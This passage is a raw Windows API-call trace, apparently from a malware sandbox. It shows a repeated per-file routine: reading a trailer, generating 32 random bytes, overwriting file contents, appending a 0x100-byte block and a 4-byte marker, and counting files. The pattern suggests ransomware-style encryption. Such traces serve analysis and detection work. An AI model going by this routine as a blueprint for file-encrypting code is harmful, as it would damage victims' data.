dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.100] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.101] GetProcessHeap () returned 0x540000 [0086.101] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.102] GetProcessHeap () returned 0x540000 [0086.102] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.102] GetProcessHeap () returned 0x540000 [0086.103] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.103] GetProcessHeap () returned 0x540000 [0086.103] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.103] GetProcessHeap () returned 0x540000 [0086.103] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.103] GetProcessHeap () returned 0x540000 [0086.103] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.103] GetProcessHeap () returned 0x540000 [0086.103] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.103] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.103] WriteFile (in: hFile=0x8f8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.103] WriteFile (in: hFile=0x8f8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.103] GetProcessHeap () returned 0x540000 [0086.103] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.104] GetProcessHeap () returned 0x540000 [0086.104] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.104] GetProcessHeap () returned 0x540000 [0086.104] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.104] CloseHandle (hObject=0x8f8) returned 1 [0086.104] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 95 [0086.104] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.104] ReadFile (in: hFile=0x8fc, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.104] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.105] GetProcessHeap () returned 0x540000 [0086.105] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.105] GetProcessHeap () returned 0x540000 [0086.105] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.105] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.105] GetProcessHeap () returned 0x540000 [0086.105] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.105] ReadFile (in: hFile=0x8fc, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.107] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.107] WriteFile (in: hFile=0x8fc, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.107] GetProcessHeap () returned 0x540000 [0086.107] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.107] GetProcessHeap () returned 0x540000 [0086.107] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.107] GetProcessHeap () returned 0x540000 [0086.108] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.109] GetProcessHeap () returned 0x540000 [0086.109] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.110] GetProcessHeap () returned 0x540000 [0086.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.111] GetProcessHeap () returned 0x540000 [0086.111] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.112] GetProcessHeap () returned 0x540000 [0086.112] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.113] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.113] WriteFile (in: hFile=0x8fc, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.113] WriteFile (in: hFile=0x8fc, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.113] GetProcessHeap () returned 0x540000 [0086.113] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.113] CloseHandle (hObject=0x8fc) returned 1 [0086.114] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 96 [0086.114] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.114] ReadFile (in: hFile=0x900, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.114] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.114] GetProcessHeap () returned 0x540000 [0086.114] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.114] GetProcessHeap () returned 0x540000 [0086.114] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.114] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.114] GetProcessHeap () returned 0x540000 [0086.114] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.114] ReadFile (in: hFile=0x900, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.117] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.117] WriteFile (in: hFile=0x900, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.117] GetProcessHeap () returned 0x540000 [0086.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, 